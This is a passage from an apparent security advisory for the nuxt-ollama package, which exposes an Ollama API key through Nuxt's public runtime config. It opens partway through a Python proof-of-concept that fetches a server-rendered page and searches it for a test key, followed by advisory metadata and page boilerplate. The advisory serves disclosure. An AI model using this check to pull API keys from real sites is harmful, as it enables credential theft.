\"reason\": \"Nuxt SSR \uc11c\ubc84\uac00 180\ucd08 \uc774\ub0b4\uc5d0 \uc751\ub2f5\ud558\uc9c0 \uc54a\uc74c. \ucee8\ud14c\uc774\ub108 \ub85c\uadf8 \ud655\uc778 \ud544\uc694.\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": log_snippet,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n # ------------------------------------------------------------------\n # Step 4 \u2014 Fetch the rendered HTML page\n # ------------------------------------------------------------------\n print(f\"\\n[STEP 4] GET {URL} ...\", flush=True)\n try:\n with urllib.request.urlopen(URL, timeout=15) as resp:\n html = resp.read().decode(\"utf-8\", errors=\"replace\")\n except Exception as exc:\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": f\"HTTP \uc694\uccad \uc2e4\ud328: {exc}\",\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": str(exc),\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n print(f\"[+] Received {len(html)} bytes.\", flush=True)\n\n # ------------------------------------------------------------------\n # Step 5 \u2014 Verify TARGET_KEY is present in the HTTP response body\n # ------------------------------------------------------------------\n print(f\"\\n[STEP 5] Searching for \u0027{TARGET_KEY}\u0027 in response ...\", flush=True)\n\n if TARGET_KEY in html:\n idx = html.index(TARGET_KEY)\n start = max(0, idx - 200)\n end = min(len(html), idx + len(TARGET_KEY) + 200)\n excerpt = html[start:end].strip()\n\n print(f\"\\n{\u0027=\u0027*66}\")\n print(f\"[PASS] VULNERABILITY CONFIRMED\")\n print(f\"\u0027{TARGET_KEY}\u0027 is present in the unauthenticated HTTP response.\")\n print(f\"{\u0027=\u0027*66}\")\n print(f\"Evidence excerpt:\\n\\n{excerpt}\\n\")\n print(f\"{\u0027=\u0027*66}\")\n\n save_result({\n \"passed\": True,\n \"verdict\": \"PASS\",\n \"reason\": (\n \"nuxt-ollama@1.2.26\uc758 src/module.ts:36\uc5d0\uc11c api_key\ub97c \"\n \"runtimeConfig.public.ollama\uc5d0 \ubcd1\ud569\ud568. Nuxt SSR\uc774 \ud574\ub2f9 \uac12\uc744 HTML \uc751\ub2f5\uc758 \"\n \"__NUXT__ \ud398\uc774\ub85c\ub4dc\uc5d0 \uc9c1\ub82c\ud654\ud558\uc5ec, \uc778\uc99d \uc5c6\ub294 HTTP GET \uc694\uccad\ub9cc\uc73c\ub85c \"\n \"LEAKED_TEST_KEY_123\uc774 \uc751\ub2f5 \ubcf8\ubb38\uc5d0\uc11c \ub178\ucd9c\ub428\uc774 \uc2e4\uc81c \uc2e4\ud589\uc73c\ub85c \ud655\uc778\ub428.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": excerpt,\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(0)\n\n else:\n snippet = html[:3000]\n print(f\"[FAIL] \u0027{TARGET_KEY}\u0027 NOT found in the HTTP response body.\")\n print(\"--- HTML (first 3000 chars) ---\")\n print(snippet)\n\n save_result({\n \"passed\": False,\n \"verdict\": \"FAIL\",\n \"reason\": (\n f\"\u0027{TARGET_KEY}\u0027\uac00 HTTP \uc751\ub2f5 \ubcf8\ubb38\uc5d0\uc11c \ubc1c\uacac\ub418\uc9c0 \uc54a\uc74c. \"\n \"Nuxt \ube4c\ub4dc \ubc84\uc804 \ub610\ub294 \ud658\uacbd \ucc28\uc774\ub85c \uc778\ud574 \uc9c1\ub82c\ud654 \ud615\uc2dd\uc774 \ub2e4\ub97c \uc218 \uc788\uc74c.\"\n ),\n \"build_command\": BUILD_CMD,\n \"run_command\": RUN_CMD,\n \"poc_command\": POC_CMD,\n \"evidence\": snippet[:1500],\n \"artifacts\": [\"Dockerfile\", \"poc.py\"],\n })\n cleanup_container()\n sys.exit(1)\n\n\nif __name__ == \"__main__\":\n main()\n```",
"id": "GHSA-fxg7-897c-57mp",
"modified": "2026-09-09T23:47:44Z",
"published": "2026-09-09T23:47:44Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/thoda-dev/nuxt-ollama/security/advisories/GHSA-fxg7-897c-57mp"
},
{
"type": "PACKAGE",
"url": "https://github.com/thoda-dev/nuxt-ollama"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Nuxt Ollama: Public Runtime Config Exposes Ollama API Key to Browser Clients"
}
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.